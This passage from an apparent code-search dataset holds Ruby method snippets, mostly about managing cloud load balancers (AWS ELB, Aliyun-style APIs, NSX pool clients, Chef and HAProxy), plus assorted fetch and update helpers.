instance.ec2_instance_id }]\n }\n\n result = @elb_client.register_instances_with_load_balancer(params)\n\n registered_instances[lb.load_balancer_name] = result\n @lb_wait_params << params\n end\n\n log(\"Re-attaching instance #{instance.hostname} to all load balancers\")\n\n unless @regional_deploy\n wait_for_re_attach(@lb_wait_params)\n end\n\n registered_instances\n end", "def describe_load_balancers(ids = [], options = {})\n ids = [*ids]\n params = {}\n params['Marker'] = options[:marker] if options[:marker]\n params['PageSize'] = options[:page_size] if options[:page_size]\n params.merge!(Fog::AWS.serialize_keys('LoadBalancerArns', ids)) if ids.any?\n params.merge!(Fog::AWS.serialize_keys('Names', options[:names])) if options[:names]\n request({\n 'Action' => 'DescribeLoadBalancers',\n :parser => Fog::Parsers::AWS::ELBV2::DescribeLoadBalancers.new\n }.merge!(params))\n end", "def update\n @transparent_pools = []\n @anonymous_pools = []\n\n res = HTTP.get 'https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list'\n raise HTTPError, \"invalid http code #{res.code}\" if res.code != 200\n\n res.body.to_s.split(\"\\n\").each {|line| _pool_parse(line)}\n end", "def describe_load_balancers(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancers'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :address\n\t\t\targs[:query]['Address'] = optional[:address]\n\t\tend\n\t\tif optional.key? :address_type\n\t\t\targs[:query]['AddressType'] = optional[:address_type]\n\t\tend\n\t\tif optional.key? :internet_charge_type\n\t\t\targs[:query]['InternetChargeType'] = optional[:internet_charge_type]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :master_zone_id\n\t\t\targs[:query]['MasterZoneId'] = optional[:master_zone_id]\n\t\tend\n\t\tif optional.key? :network_type\n\t\t\targs[:query]['NetworkType'] = optional[:network_type]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :security_status\n\t\t\targs[:query]['SecurityStatus'] = optional[:security_status]\n\t\tend\n\t\tif optional.key? :server_id\n\t\t\targs[:query]['ServerId'] = optional[:server_id]\n\t\tend\n\t\tif optional.key? :slave_zone_id\n\t\t\targs[:query]['SlaveZoneId'] = optional[:slave_zone_id]\n\t\tend\n\t\tif optional.key? :v_switch_id\n\t\t\targs[:query]['VSwitchId'] = optional[:v_switch_id]\n\t\tend\n\t\tif optional.key? :vpc_id\n\t\t\targs[:query]['VpcId'] = optional[:vpc_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update!(**args)\n @address_pools = args[:address_pools] if args.key?(:address_pools)\n @asn = args[:asn] if args.key?(:asn)\n @bgp_peer_configs = args[:bgp_peer_configs] if args.key?(:bgp_peer_configs)\n @load_balancer_node_pool_config = args[:load_balancer_node_pool_config] if args.key?(:load_balancer_node_pool_config)\n end", "def update!(**args)\n @address_pools = args[:address_pools] if args.key?(:address_pools)\n end", "def fetch\n FetchClientBalances.new(\n client_id: @client_id,\n balances_to_fetch: {\n GlobalConstant::CriticalChainInteractions.value_chain_type => {\n address: @address,\n balance_types: [\n GlobalConstant::BalanceTypes.ost_balance_type,\n GlobalConstant::BalanceTypes.eth_balance_type\n ]\n }\n }\n ).perform\n end", "def retrieve_elb(name)\n Clients.elb.describe_load_balancers(\n load_balancer_names: [name],\n ).load_balancer_descriptions[0]\nend", "def update_fetch_address( atts = {} )\n self.fetch_address = (self.fetch_address || {}).merge( atts )\n end", "def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end", "def describe_load_balancers(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancers'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :server_id\n\t\t\targs[:query]['ServerId'] = optional[:server_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update_load_balancer_pool_with_http_info(pool_id, lb_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool ...'\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool\"\n end\n # verify the required parameter 'lb_pool' is set\n if @api_client.config.client_side_validation && lb_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_pool' when calling ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools/{pool-id}'.sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#update_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def balancer_set_instances(balancer)\n balancer\n end", "def add_to_lb(group)\n @haproxy.identity_filter(@load_balancer)\n # We don't have to identify the nodes in the group\n # for every action. I'm doing it here to make each\n # method easier to read\n @rpcutil.class_filter(group)\n begin\n @rpcutil.ping.each do |node|\n hostname = node.results[:sender]\n # Disable the nodes\n @haproxy.enable(:backend => 'puppetcamp', :server => hostname).each do |rpcresult|\n if rpcresult.results[:statuscode] != 0\n raise LoadBalancerAddException, hostname\n end\n end\n end\n ensure\n @haproxy.reset_filter\n @rpcutil.reset_filter\n end\nend", "def set_load_balancer_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :load_balancer_status\n\t\t\targs[:query]['LoadBalancerStatus'] = optional[:load_balancer_status]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def fetch!\n info \"FETCH\"\n Fetcher.run @dbi, @collections, @settings, @logger do |*args| update_db(*args) end # results will be passed to the update function\n end", "def update\n @lb_pool = @object\n respond_to do |format|\n if @lb_pool.update_attributes(params[:lb_pool])\n flash[:notice] = 'Load Balancer Service Pool was successfully updated.'\n format.html { redirect_to lb_pool_url(@lb_pool) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lb_pool.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def db_update\n brands_site = Nokogiri::HTML(open(MAIN_URI))\n @brands = []\n brands_site.css('div.cb-marks').each{|entry| @brands << Brand.new(entry.text, correct_link(entry.css('a')[0]['href'], MAIN_URI))}\n\n end", "def status(response)\n region, environment, balancer = split_params(response)\n\n client = new_client(\"#{region}-#{environment}\")\n\n # get the IDs from the config and add it to the client\n # respond with an error if we don't recognize the user input\n\n begin\n balancer_ids(region, environment, balancer).each { |id| client.add_lb(id) }\n rescue MissingKey => e\n return response.reply(e.to_s)\n end\n\n # get the status of the LBs\n # do it within a begin block so we can catch\n # the exceptions thrown by SpaceCadet\n begin\n # get the details for all LBs we care about\n details = client.status\n\n # if we don't have any details, bail\n return response.reply(t('status.no_details', region: region, env: environment, balancer: balancer)) if details.empty?\n\n # otherwise, render the proper output and print it\n response.reply(render_template('status', output: render_status(details)))\n\n rescue DoubleDutch::SpaceCadet::Error => e # catch all SpaceCadet errors\n title = \"An error has occured trying to get the status of #{region}.#{environment}.#{balancer}:\"\n reply = render_template('exception', title: title, exception: e.class, message: e.message)\n response.reply(reply)\n\n rescue StandardError => e # catch all remaining errors\n title = \"A generic excpetion has been caught trying to get the status of #{region}.#{environment}.#{balancer}:\"\n reply = render_template('exception', title: title, exception: e.class, message: e.message)\n response.reply(reply)\n end\n end", "def fetch\n return if fetched?\n\n ranges = fetch_ranges\n\n # Select which byte ranges to download\n records = Forecaster.configuration.records.values\n filtered_ranges = records.map { |k| ranges[k] }\n\n fetch_grib2(filtered_ranges)\n end", "def load_bills()\n params = {'history.active' => true}\n params['order'] = 'last_action_at'\n @bills = process('bills', 'bills', params)\n end", "def perform\n\n r = validate\n return r unless r.success?\n\n fetch_balances\n\n end", "def find(options = {})\n raise \"Unable to locate the LoadBalancer named '#{options[:name]}'\" unless options[:id]\n response = Profitbricks.request :get_load_balancer, load_balancer_id: options[:id]\n PB::LoadBalancer.new(response)\n end", "def update(options={})\n data = Hash.new\n data[:type] = options[:type].upcase if options[:type]\n data[:delay] = options[:delay] if options[:delay]\n data[:timeout] = options[:timeout] if options[:timeout]\n data['attemptsBeforeDeactivation'] = options[:attempts_before_deactivation] if options[:attempts_before_deactivation]\n data[:type].upcase! if data[:type]\n if ['HTTP','HTTPS'].include?(data[:type])\n data[:path] = options[:path] if options[:path]\n data['statusRegex'] = options[:status_regex] if options[:status_regex]\n data['bodyRegex'] = options[:body_regex] if options[:body_regex]\n end\n response = @connection.lbreq(\"PUT\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@load_balancer.id.to_s)}/healthmonitor\",@lbmgmtport,@lbmgmtscheme,{},data.to_json)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n populate\n true\n end", "def fetch\n @github.fetch\n @stackoverflow.fetch\n @acuk.fetch\n @jobs = data.shuffle\n end", "def set_load_balancer_name(load_balancer_id, load_balancer_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerName'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['LoadBalancerName'] = load_balancer_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update\n @operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = @operations_check.load_balancer_checks.find(params[:id])\n\n respond_to do |format|\n if @load_balancer_check.update_attributes(load_balancer_check_params)\n format.html { redirect_to @load_balancer_check, notice: 'Load balancer check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @load_balancer_check.errors, status: :unprocessable_entity }\n end\n end\n end", "def detach_from_elbs(instance:)\n unless instance.is_a?(Aws::OpsWorks::Types::Instance)\n fail(ArgumentError, \"instance must be a Aws::OpsWorks::Types::Instance struct\")\n end\n\n all_load_balancers = @elb_client.describe_load_balancers\n .load_balancer_descriptions\n\n load_balancers = detach_from(all_load_balancers, instance)\n\n @lb_wait_params = []\n\n load_balancers.each do |lb|\n params = {\n load_balancer_name: lb.load_balancer_name,\n instances: [{ instance_id: instance.ec2_instance_id }]\n }\n\n remaining_instances = @elb_client\n .deregister_instances_from_load_balancer(params)\n .instances\n\n log(<<-MSG.split.join(\" \"))\n Will detach instance #{instance.hostname} from\n #{lb.load_balancer_name} (remaining attached instances:\n #{remaining_instances.count.to_s})\n MSG\n\n @lb_wait_params << params\n end\n \n unless @regional_deploy\n if @lb_wait_params.any?\n wait_for_detach(@lb_wait_params)\n else\n log(\"No load balancers found for instance #{instance.hostname}\")\n end\n end\n\n load_balancers\n end", "def get_balancer_manager\n @balancer_manager\n end", "def update\n process_blocked_ips_commands\n @blocked_ips = sort_by_ip(IpStats.read_blocked_ips)\n @okay_ips = sort_by_ip(IpStats.read_okay_ips)\n @stats = IpStats.read_stats(do_activity: true)\n render(action: :edit)\n end", "def send_queries_to_balancer(balancer, method, *args, &block)\n send_queries_to_slave(balancer.next(current_load_balance_options), method, *args, &block)\n end", "def load_current_resource\n\n @current_lb = load_balancer_by_name(new_resource.lb_name)\n\n @current_resource = Chef::Resource::LbLoadBalancer.new(new_resource.lb_name)\n @current_resource.lb_name(new_resource.lb_name)\n @current_resource.aws_access_key(new_resource.aws_access_key)\n @current_resource.aws_secret_access_key(new_resource.aws_secret_access_key)\n @current_resource.region(new_resource.region)\n @current_resource.listeners(new_resource.listeners)\n @current_resource.timeout(new_resource.timeout)\n\n if @current_lb\n @current_resource.availability_zones(@current_lb['AvailabilityZones'])\n @current_resource.instances(@current_lb['Instances'])\n end\n @current_resource.availability_zones || @current_resource.availability_zones([])\n @current_resource.instances || @current_resource.instances([])\n\n if new_resource.instances.nil? && new_resource.search_query\n new_resource.instances(search(:node, new_resource.search_query).map { |n| n['ec2']['instance_id']})\n end\n\n all_zones = availability_zone_for_instances(new_resource.instances)\n unique_zones = all_zones.compact.uniq\n\n if new_resource.availability_zones.nil?\n new_resource.availability_zones(unique_zones)\n end\nend", "def ready_load_balancer(action_handler, lb_spec, lb_options, machine_specs)\n end", "def update!(**args)\n @backend_type = args[:backend_type] if args.key?(:backend_type)\n @backend_uri = args[:backend_uri] if args.key?(:backend_uri)\n @backends = args[:backends] if args.key?(:backends)\n @health_check_uri = args[:health_check_uri] if args.key?(:health_check_uri)\n @load_balancer_type = args[:load_balancer_type] if args.key?(:load_balancer_type)\n end", "def update!(**args)\n @control_plane_load_balancer_port = args[:control_plane_load_balancer_port] if args.key?(:control_plane_load_balancer_port)\n end", "def update!(**args)\n @control_plane_load_balancer_port = args[:control_plane_load_balancer_port] if args.key?(:control_plane_load_balancer_port)\n end", "def update_from_abr!\n # local cache\n abr_detail = ABNSearch::Client.search(@abn)\n # parse this stuff\n process_raw_abr_detail(abr_detail)\n self\n end", "def run\n if !config[:run_list] and !config[:chef_env]\n ui.fatal \"Please specify either --run-list or --chef-env to change on your cluster\"\n exit(1)\n end\n if @name_args.empty?\n ui.fatal \"Please specify a load balancer ID to update\"\n exit(1)\n end\n lb_auth = authenticate()\n headers = {\"x-auth-token\" => lb_auth['auth_token'], \"content-type\" => \"application/json\"}\n lb_url = \"\"\n lb_auth['lb_urls'].each {|lb|\n if config[:lb_region].to_s.downcase == lb['region'].to_s.downcase\n lb_url = lb['publicURL']\n break\n end\n lb_url = lb['publicURL']\n }\n @name_args.each {|arg|\n lb_url = lb_url + \"/loadbalancers/#{arg}\"\n lb_data = make_web_call(\"get\", lb_url, headers)\n lb_data = JSON.parse(lb_data.body) \n instances = []\n lb_data['loadBalancer']['metadata'].each{|md|\n instances << {\"server_name\" => md['key'], \"uuid\" => md['uuid']}\n }\n \n if config[:run_list]\n config[:run_list] = config[:run_list].split(\",\")\n change_chef_vars(instances) { |node_item|\n ui.msg \"Changing #{node_item.name} run list to #{config[:run_list]}\"\n node_item.run_list(config[:run_list])\n node_item.save\n }\n end\n if config[:chef_env]\n change_chef_vars(instances){|node_item|\n ui.msg \"Changing #{node_item.name} chef environment to #{config[:chef_env]}\"\n node_item.chef_environment(config[:chef_env])\n node_item.save\n \n }\n end\n \n }\n \n end", "def update_legacy_balances\n liabilities.where.not(member_id: nil).find_each { |l| Operations.update_legacy_balance(l) }\n end", "def list_load_balancer_pools_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/loadbalancer/pools'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPoolListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#list_load_balancer_pools\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def read_load_balancer_pool_with_http_info(pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool ...'\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools/{pool-id}'.sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#read_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def migrate_elbs\n elbs_dir = \"#{@migration_root}/elb-load-balancers\"\n policies_dir =\"#{@migration_root}/elb-policies\"\n\n if !Dir.exists?(@migration_root)\n Dir.mkdir(@migration_root)\n end\n if !Dir.exists?(elbs_dir)\n Dir.mkdir(elbs_dir)\n end\n if !Dir.exists?(policies_dir)\n Dir.mkdir(policies_dir)\n end\n\n ELB::elbs.map do |elb_name, elb|\n puts \"Migrating load balancer #{elb_name}\"\n\n local_elb = LoadBalancerConfig.new(elb_name)\n tags = ELB::elb_tags(elb_name)\n attributes = ELB::elb_attributes(elb_name)\n local_elb.populate!(elb, tags, attributes)\n\n # Migrate the backend and listener policies if they do not already\n # exist locally and are not the default AWS policies\n listener_policies = local_elb.listeners.flat_map { |l| l.policies }\n backend_policies = local_elb.backend_policies.flat_map { |b| b.policy_names }\n\n (listener_policies + backend_policies).uniq.map do |policy_name|\n policy_file = \"#{policies_dir}/#{policy_name}.json\"\n # If it is not already migrated and not a default policy, create it\n if !File.file? policy_file\n if !ELB::default_policies.has_key? policy_name\n # Get the full policy description from the elb policies\n full_policy = ELB::elb_policies(elb_name)[policy_name]\n\n if full_policy.nil?\n puts \"Unable to migrate policy #{policy_name}\"\n else\n puts \"Migrating policy #{policy_name}\"\n json = JSON.pretty_generate(full_policy.to_cumulus_hash)\n File.open(policy_file, \"w\") { |f| f.write(json) }\n end\n end\n end\n end\n\n File.open(\"#{elbs_dir}/#{elb_name}.json\", \"w\") { |f| f.write(local_elb.pretty_json) }\n end\n\n end", "def update!(**args)\n @manual_lb_config = args[:manual_lb_config] if args.key?(:manual_lb_config)\n @port_config = args[:port_config] if args.key?(:port_config)\n @vip_config = args[:vip_config] if args.key?(:vip_config)\n end", "def set_load_balancer_status(load_balancer_id, load_balancer_status, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerStatus'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['LoadBalancerStatus'] = load_balancer_status\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def reload\n reset\n fetch\n end", "def reload\n reset\n fetch\n end", "def reload!\n fetch_data!\n end", "def pull\n fetch\n merge\n end", "def fetch; end", "def fetch; end", "def perform\n @provider = Provider.find_or_create_by(name: 'Atlantic.net')\n update_compute_batch\n end", "def update_attributes(local_config)\n @elb.modify_load_balancer_attributes({\n load_balancer_name: local_config.name,\n load_balancer_attributes: {\n cross_zone_load_balancing: {\n enabled: local_config.cross_zone\n },\n access_log: if local_config.access_log then local_config.access_log.to_aws end,\n connection_draining: {\n enabled: local_config.connection_draining != false,\n timeout: if local_config.connection_draining != false then local_config.connection_draining end\n },\n connection_settings: {\n idle_timeout: local_config.idle_timeout\n }\n }\n })\n end", "def set_load_balancer_name(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerName'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :load_balancer_name\n\t\t\targs[:query]['LoadBalancerName'] = optional[:load_balancer_name]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def fetch!(options = {}, &block)\n fetch(options.merge(save: true), &block)\n end", "def fetch\n end", "def get_loadbalancer(name=resource[:load_balancer])\n get_cloud_connection()\n args = []\n\n args << @connection_resource[:user]\n args << @connection_resource[:pass]\n args << @connection_resource[:location] if @connection_resource[:location]\n\n @loadbalancer_connection = Puppet::Type::Loadbalancer::ProviderElb.connection(*args)\n\n load_balancer = @loadbalancer_connection.load_balancers.find {|lb|\n lb.id == name\n }\n end", "def update_lb_service_0_with_http_info(lb_service_id, lb_service, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0 ...'\n end\n # verify the required parameter 'lb_service_id' is set\n if @api_client.config.client_side_validation && lb_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0\"\n end\n # verify the required parameter 'lb_service' is set\n if @api_client.config.client_side_validation && lb_service.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_service' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.update_lb_service_0\"\n end\n # resource path\n local_var_path = '/infra/lb-services/{lb-service-id}'.sub('{' + 'lb-service-id' + '}', lb_service_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_service)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBService')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#update_lb_service_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch\n requests = instantiate_modules.select(&:fetch?).map(&:requests).flatten\n\n total, done = requests.size, 0\n update_progress(total, done)\n\n before_fetch\n\n backend.new(requests).run do\n update_progress(total, done += 1)\n end\n\n after_fetch\n\n true\n rescue => e\n error(e)\n raise e\n end", "def init_brands\n response = @conn.get do |req|\n req.url \"/api/v1/brands\"\n req.headers = rest_headers\n end\n\n @brands = json(response.body)[:brands]\n end", "def update!(**args)\n @bad_ssl_certificate = args[:bad_ssl_certificate] if args.key?(:bad_ssl_certificate)\n @client_service_info = args[:client_service_info] if args.key?(:client_service_info)\n @compressed_body = args[:compressed_body] if args.key?(:compressed_body)\n @crawl_times = args[:crawl_times] if args.key?(:crawl_times)\n @dns_host = args[:dns_host] if args.key?(:dns_host)\n @download_time = args[:download_time] if args.key?(:download_time)\n @egress_region = args[:egress_region] if args.key?(:egress_region)\n @eligible_geo_crawl_egress_region = args[:eligible_geo_crawl_egress_region] if args.key?(:eligible_geo_crawl_egress_region)\n @endpoints = args[:endpoints] if 